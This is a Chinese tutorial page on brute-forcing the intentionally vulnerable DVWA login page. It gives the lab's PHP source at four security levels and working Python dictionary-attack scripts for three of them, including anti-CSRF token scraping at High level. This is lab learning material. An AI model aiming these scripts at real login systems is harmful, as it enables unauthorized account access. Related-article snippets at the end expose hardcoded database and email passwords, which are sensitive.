首页 / PYTHON / DVWA学习之Brute Force暴力破解（python脚本实现）

DVWA学习之Brute Force暴力破解（python脚本实现）

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了DVWA学习之Brute Force暴力破解（python脚本实现），小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含14687字，纯文字阅读大概需要21分钟。

内容图文

DVWA学习之Brute Force暴力破解

概述
具体过程
问题讨论（求大佬解答）
1. Low
2. Medium
3. High
4. Impossible
- 4.1 网页源码

概述

搭建方法请转至DVMA学习之安装、环境搭建等。

本文主要使用 python 脚本来实现 Brute Force，文末有一些未解问题，期待一起讨论。

具体过程

模拟访问网页，通过抓包查看具体的跳转类型。（可通过检查源实现）

Low 情况：可以通过 SQL注入和暴力破解实现攻击。
Medium情况：可以通过暴力破解实现。
High情况：在进行模拟访问的时候需要添加 Token。

问题讨论（求大佬解答）

关于 Cookie 的问题：直接通过 get 方法返回的 set-cookie 属性中的 cookie 并不能直接使用。原因是因为 cookie 已保存至浏览器了嘛？
关于 Token 的更换：一次一换，但一次无法有 token，所以 token 的具体操作流程是什么样的呢，即其生命周期。

下文分为三部分，分别放了网页源码和攻击代码（有两种实现方式）。

1. Low

1.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

1.2 攻击实现（一）

import requests
import re

headers = {
    "Cookie": "security=low; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
        if not re.findall("Username and/or password incorrect", response.text):
            print(username[:-1]+":"+password[:-1])

1.3 攻击实现（二）

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security = low"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨

cookie = "" # 自己抓包获得
cookie = "security = low; PHPSESSID = "+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        res, content = h.request(tmp, "GET", "", header)

        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

2. Medium

2.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

2.2 攻击实现（一）

import requests
import re

headers = {
    "Cookie": "security=medium; PHPSESSID=自己Cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
        if not re.findall("Username and/or password incorrect", response.text):
            print(username[:-1]+":"+password[:-1])

2.3 攻击实现（二）

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=medium"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨

cookie = "" # 自己抓包获得
cookie = "security=medium; PHPSESSID="+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        res, content = h.request(tmp, "GET", "", header)

        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

3. High

3.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

3.2 攻击实现（一）

import requests
import re

headers = {
    "Cookie": "security=high; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)
token = re.findall("<input.*?value=\'(.*?)' />", res.text)[0] ### high ###

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token, headers=headers) ### high ###
        token = re.findall("<input.*?value=\'(.*?)' />", response.text)[0] ### high ###
        if not re.findall("Username and/or password incorrect", response.text) or re.findall("CSRF token", response.text):
            print(username[:-1]+":"+password[:-1])

3.3 攻击实现（二）

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=high"}
response,content=h.request(url,headers=header)
token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0]
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨
cookie = "" # 自己抓包获得
cookie = "security=high; PHPSESSID="+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        #tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token # high #
        res, content = h.request(tmp, "GET", "", header)
        token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0] # high #
        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

4. Impossible

4.1 网页源码

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

内容总结

以上是互联网集市为您收集整理的DVWA学习之Brute Force暴力破解（python脚本实现）全部内容，希望文章能够帮你解决DVWA学习之Brute Force暴力破解（python脚本实现）所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/619496.html

来源：【匿名】

【上一篇】python编程：学校举办新生歌手大赛，每个选手的成绩由评委的评分去掉一个最高分和一个最低分剩下的平均值得到。编写程序实现：第一行输入一个数字代表评委的个数n，从第二行开始每行输入一个评委的得分【下一篇】浅谈PHP运行Python脚本的方法

更多 ►

【DVWA学习之Brute Force暴力破解（python脚本实现）】教程文章相关的互联网学习教程文章

CSV文件分割与列异常处理的python脚本【代码】

csv文件通常存在如下问题： 1. 文件过大（需要进行文件分割）2. 列异常(列不一致，如元数据列为10列，但csv文件有些行是11列，或者4列)本脚本用于解决此问题。#coding=utf-8‘‘‘ 脚本说明用来解决csv文件的列异常问题（以逗号分隔符为例）：csv文件有些列含有换行符、逗号等特殊符号，这就导致csv文件出现列异常的情况。此脚本将csv文件输出成如下文件：源文件名-正确列-文件序号.csv 源文件名-错误列.csv 源文件名-info.txt 常用...

rpm打包时包含python脚本，需要忽略掉pyc, pyo字节码文件

制作rpm包时，有时包含python程序，一般默认的行为：打包时对python脚本会编译成pyc，pyo字节码文件并一起放在rpm包中，这可能导致打包时引用文件缺失的错误。如果不需要这些字节码文件，可以修改/usr/lib/rpm/brp-python-bytecompile找到编译pyc,pyo的两条命令，并将其注释，或者直接在脚本开头就用exit 0 退出。但是要注意，如果已经打了一次包并在pyc,pyo文件缺失的步骤上失败，则打包的临时目录中可能残留了文件，需要把临时目...

Python脚本性能分析【代码】【图】

来自：http://www.cnblogs.com/btchenguang/archive/2012/02/03/2337112.htmldef foo():sum = 0for i in range(10000):sum += isumA = bar()sumB = bar()return sumdef bar():sum = 0for i in range(100000):sum += ireturn sumif__name__ == "__main__":import cProfile#直接把分析结果打印到控制台cProfile.run("foo()")#把分析结果保存到文件中,不过内容可读性差...需要调用pstats模块分析结果cProfile.run("foo()", "result")#...

使用python脚本进行数据清洗（1）【代码】【图】

1.原始表CREATETABLE ml_100k (userid INT, movieid INT, rating INT, unixtime STRING) ROW FORMAT DELIMITED FIELDS TERMINATED BY‘\t‘ LINES TERMINATED BY‘\n‘ STORED AS TEXTFILE; 数据清洗后的表CREATETABLE ml_100k2 (userid INT, movieid INT, rating INT, weekday int) ROW FORMAT DELIMITED FIELDS TERMINATED BY‘\t‘ LINES TERMINATED BY‘\n‘ STORED AS TEXTFILE; 3.数据导入LOAD DATA LOCAL...

Python脚本--批量更改本地md文件的图片链接【代码】

#-*- coding:utf-8 -*-import re import osdef patch_md(filename):if filename.endswith(‘.md‘):return Truereturn Falsedef _patch_replace(text):pattern=re.compile(r‘(?<=!)\[.*\]\((.*)(?=\))‘)result = re.findall(pattern,text)for filedir in result:if‘\\‘in filedir:listfile = filedir.split(‘\\‘)else:listfile = filedir.split(‘/‘)pattern_file = r‘(?<=!)\[.*\]\(.*[\\/]+(?=‘+listfile[-1]+r‘\))‘p...

python脚本文件删除

昨天有需求需要用python脚本删除一个目录下的文件。遇到了点麻烦。使用的是shutil.rmtree(dir)函数，这个函数可以删除有内容的目录，而shutil.rmdir(dir)只能删除空目录。1、一删除就报错，最后怀疑是账户权限问题，更改了账户的权限以后，可以删除部分文件了，但还是有文件不可以删除2、在网上查到可能是因为文件属性的问题，果真删不掉的文件都是只读的。如果想删除这些文件需要先修改其属性。 shutil模块是没有类似函数的，于是...

利用Python脚本备份服务器上所有PostgreSQL数据库【代码】

脚本内容#! /usr/local/python3/bin/pythonimport os import psycopg2 import timedb_host = "172.16.101.54" db_port = 5432 db_user = "dbadmin" db_password = "agm43gadsg" db_default = "postgres" backup_path = "/usr/local/pgsql/dba/exp" backup_day = time.strftime("%Y%m%d") databases = []# check backup path if exists.def check_backup_path():ifnot os.path.exists(backup_path):os.mkdir(backup_path)# get all ...

python脚本【代码】

数据库mysql连接练习查询某个目录下的所有文件内容中的sql语句，并执行到数据库中。#!/usr/bin/env python # -*- coding:utf8 -*-# 导入库 from pathlib import Path import pymysqltry:# 数据库连接方式定义，并调用cursor方法连接db = pymysql.connect(host=‘localhost‘, port=3306, user=‘root‘, passwd=‘123456@Hsh‘)conn = db.cursor()# 定义目录位置file_base = Path(r‘/server/tmp/files‘)# 定义一个空列表lineu = ...

ArcGis Python脚本——根据接图表批量裁切分幅影像【代码】

年前写了一个用渔网工具制作图幅接图表的文章，链接在这里：使用ArcMap做一个1:5000标准分幅图并编号本文提供一个使用ArcMap利用接图表图斑裁切一幅影像为多幅的方法。第一步，将接图表拆分，使之每一个图斑为一个要素类（Shapefile文件）拆分方法很多，提供两个参考：1、可以使用Python脚本2、可以使用ArcToolbox——分析工具——split拆分的结果是每个影像框图斑为一个Shapefile文件，所有Shapefile文件生成在一个文件夹下。第二...

使用windows定时任务运行python脚本【代码】【图】

mail_receive_monitor05.pyimport zmail from tkinter import * import tkinter.messageboxserver = zmail.server(‘reblue520@163.com‘, ‘reblue.520‘) mail = server.get_latest()new_id = mail[‘id‘]file_read = open(‘id.txt‘, ‘r‘) old_id = file_read.readline() file_write = open(‘id.txt‘, ‘w‘) file_write.write(str(new_id)) file_write.close()if old_id != str(new_id):main_window = Tk()main_window.w...

将Python脚本打包成可执行文件

Python是一个脚本语言，被解释器解释执行。它的发布方式： · .py文件：对于开源项目或者源码没那么重要的，直接提供源码，需要使用者自行安装Python并且安装依赖的各种库。（Python官方的各种安装包就是这样做的） · .pyc文件：有些公司或个人因为机密或者各种原因，不愿意源码被运行者看到，可以使用pyc文件发布，pyc文件是Python解释器可以识别的二进制码，故发布后也是跨平台的，需要使用者安装相应版本的Python和依...

Linux下用Python脚本监控目录变化代码分享【代码】

#!/usr/bin/env python #coding=utf-8import os from pyinotify import WatchManager, Notifier, ProcessEvent, IN_DELETE, IN_CREATE,IN_MODIFY wm = WatchManager() mask = IN_DELETE | IN_CREATE |IN_MODIFY # watched eventsclass PFilePath(ProcessEvent):def process_IN_CREATE(self, event):print "Create file: %s " % os.path.join(event.path, event.name)def process_IN_DELETE(self, event):print "Delete file: ...

shell脚本中执行python脚本并接收其返回值的例子

1.在shell脚本执行python脚本时，需要通过python脚本的返回值来判断后面程序要执行的命令例:有两个py程序 hello.py复制代码代码如下:def main(): print "Hello" if __name__==‘__main__‘: main()world.pydef main(): print "Hello"if __name__==‘__main__‘: main()shell 脚本 test.sh复制代码代码如下:python hello.pypython world.py执行sh test.sh 打印结果为复制代码代码如下:　　hello　　world在hello.py中...

python脚本字符串前加r u是什么意思【代码】

网上查看资料： u/U:表示unicode字符串不是仅仅是针对中文, 可以针对任何的字符串，代表是对字符串进行unicode编码。一般英文字符在使用各种编码下, 基本都可以正常解析, 所以一般不带u；但是中文, 必须表明所需编码, 否则一旦编码转换就会出现乱码。建议所有编码方式采用utf8r/R:非转义的原始字符串与普通字符相比，其他相对特殊的字符，其中可能包含转义字符，即那些，反斜杠加上对应字母，表示对应的特殊含义的，比如最常见...

IDAPython脚本之收集函数的调用信息

转载：All Right当我们要寻找软件漏洞 bug 的时候，或者做恶意代码分析的时候，首先会找一些常用的而且容易被错误使用的函数。但是有时候程序代码太多找的比较辛苦，并且费时间。所以我们可以写一个脚本来跟踪这些函数，找出调用它们的地方，之后在这些地方的背景色设置成不同的颜色，这样我们在 IDA 窗口中就能很方便的看出来。下面是我们测试程序的伪代码：我们要用这个脚本找出printf函数。12345678910111213from idaapi import...

首页 / PYTHON / DVWA学习之Brute Force暴力破解（python脚本实现）

DVWA学习之Brute Force暴力破解（python脚本实现）

内容导读

内容图文

DVWA学习之Brute Force暴力破解

概述

具体过程

问题讨论（求大佬解答）

1. Low

1.1 网页源码

1.2 攻击实现（一）

1.3 攻击实现（二）

2. Medium

2.1 网页源码

2.2 攻击实现（一）

2.3 攻击实现（二）

3. High

3.1 网页源码

3.2 攻击实现（一）

3.3 攻击实现（二）

4. Impossible

4.1 网页源码

内容总结

内容备注

内容手机端

【DVWA学习之Brute Force暴力破解（python脚本实现）】教程文章相关的互联网学习教程文章

PYTHON - 相关标签

脚本 - 相关标签

PYTHON - 技术教程分类

PYTHON - 最新教程

PYTHON - 最热教程